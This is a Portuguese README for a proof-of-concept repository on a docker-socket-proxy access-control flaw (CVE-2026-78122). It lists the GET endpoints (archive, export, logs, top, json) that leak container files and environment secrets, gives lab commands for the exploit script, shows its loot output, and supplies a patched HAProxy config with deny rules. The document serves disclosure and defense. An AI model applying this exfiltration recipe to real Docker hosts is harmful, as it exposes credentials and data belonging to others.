
Exploit de prova de conceito para a CVE-2026-78122, demonstrando a exfiltração do sistema de arquivos do contêiner e de variáveis de ambiente por meio das regras de acesso permissivas do docker-socket-proxy, além de uma configuração corrigida do HAProxy.
Tecnativa docker-socket-proxy ≤ 0.5.0 — Granularidade Insuficiente do Controle de Acesso (CWE-1220)
CVSS 4.0: 8.3 (Alto) — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
O Vetor de Ataque é Adjacente (
AV:A): o atacante precisa de alcance de rede local/adjacente ao proxy — que é exatamente por que mantê-lo fora de qualquer interface roteável faz parte da mitigação.
docker-socket-proxy é um front-end HAProxy para o socket do Docker cujo propósito é fornecer acesso com escopo e privilégio mínimo à API do Docker. A receita canônica "segura, somente leitura" que os operadores usam é:
CONTAINERS=1 # allow listing/inspecting containers
POST=0 # deny everything that mutates state
# every other flag left at its default (0)
Os operadores acreditam, razoavelmente, que isso produz metadados de contêiner somente leitura. Mas não produz.
Em haproxy.cfg todo o namespace /containers é controlado por uma única regra de prefixo grosseira:
http-request allow if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers } { env(CONTAINERS) -m bool }
Essa regex corresponde a todos os subcaminhos GET sob /containers, incluindo os endpoints sensíveis de leitura que nunca deveriam fazer parte de "listar contêineres". Como todos são GET, a proteção POST=0 não faz nada para impedi-los:
Efeito líquido: com a postura "endurecida" CONTAINERS=1, POST=0, qualquer pessoa que consiga alcançar o proxy pode despejar segredos e exfiltrar o sistema de arquivos completo de todos os contêineres no host.
lab/ vulnerable docker-socket-proxy v0.5.0 + a victim container with planted secrets
exploit/ exploit.sh — end-to-end data-exfiltration PoC
mitigation/ patched haproxy.cfg + compose that denies the sensitive sub-paths
verify.sh one command: stand up both, exploit, print a before/after table
teardown.sh stop everything
loot/ exploit output lands here
Requer Docker + Docker Compose e um shell POSIX (Git Bash no Windows funciona).
./verify.sh
Ou passo a passo:
docker compose -f lab/docker-compose.yml up -d # vulnerable proxy on 127.0.0.1:2375
bash exploit/exploit.sh http://127.0.0.1:2375 # loot lands in ./loot
O proxy está vinculado apenas a
127.0.0.1. Nunca exponha um proxy de socket do Docker em uma interface roteável.
[+] POST /containers/create -> 403 Forbidden (operator believes they are safe)
Leaked environment variables:
STRIPE_API_KEY=sk_live_FAKE_0000000000000000
DB_PASSWORD=hunter2-from-container-env
[+] Pulled /etc/passwd via /archive
[+] Stole /run/secrets/aws.env via /archive
[+] Exported entire filesystem (8,095,232 bytes) via /export
[+] Retrieved process table via /top and logs via /logs
Cada item acima foi obtido com POST=0 ainda em vigor.
Correção real: atualize para a versão corrigida (acompanhada em issue #182 / PR #183) e pare de confiar que CONTAINERS=1 sozinho seja "somente leitura".
Este repositório também inclui uma configuração endurecida de substituição (mitigation/haproxy.patched.cfg) que adiciona regras explícitas de deny para os subcaminhos perigosos antes da permissão genérica /containers, cada uma reativável por meio de uma flag dedicada (ALLOW_ARCHIVE, ALLOW_EXPORT, ALLOW_LOGS, ALLOW_TOP):
http-request deny if { ... /containers/[..]/archive } ! { env(ALLOW_ARCHIVE) -m bool }
http-request deny if { ... /containers/[..]/export } ! { env(ALLOW_EXPORT) -m bool }
http-request deny if { ... /containers/[..]/logs } ! { env(ALLOW_LOGS) -m bool }
http-request deny if { ... /containers/[..]/top } ! { env(ALLOW_TOP) -m bool }
Verificado antes/depois (saída de verify.sh) — mesma postura CONTAINERS=1, POST=0:
Listagem/inspeção legítimas ainda funcionam; as primitivas de exfiltração estão bloqueadas.
Operacionalmente, também: mantenha o proxy fora de qualquer rede roteável, monte o socket do Docker como somente leitura e aplique privilégio mínimo (ative apenas exatamente as flags de que um consumidor precisa).
Apenas para testes de segurança autorizados e educação. O laboratório é executado inteiramente no seu próprio host contra contêineres que você criou.
| Endpoint (GET) | O que ele vaza |
|---|
/containers/{id}/archive?path=… | Leitura arbitrária de arquivo de qualquer contêiner |
/containers/{id}/export | Sistema de arquivos inteiro do contêiner como um tar |
/containers/{id}/logs | stdout/stderr do contêiner |
/containers/{id}/top | Lista de processos com argv completo (pode conter credenciais) |
/containers/{id}/json | Configuração completa incl. variáveis de ambiente |
| Endpoint GET | Vulnerável (:2375) | Mitigado (:2376) |
|---|
/containers/json (lista) | 200 | 200 |
/containers/{id}/json (inspeção) | 200 | 200 |
/containers/{id}/archive | 200 | 403 |
/containers/{id}/export | 200 | 403 |
/containers/{id}/logs | 200 | 403 |
/containers/{id}/top | 200 | 403 |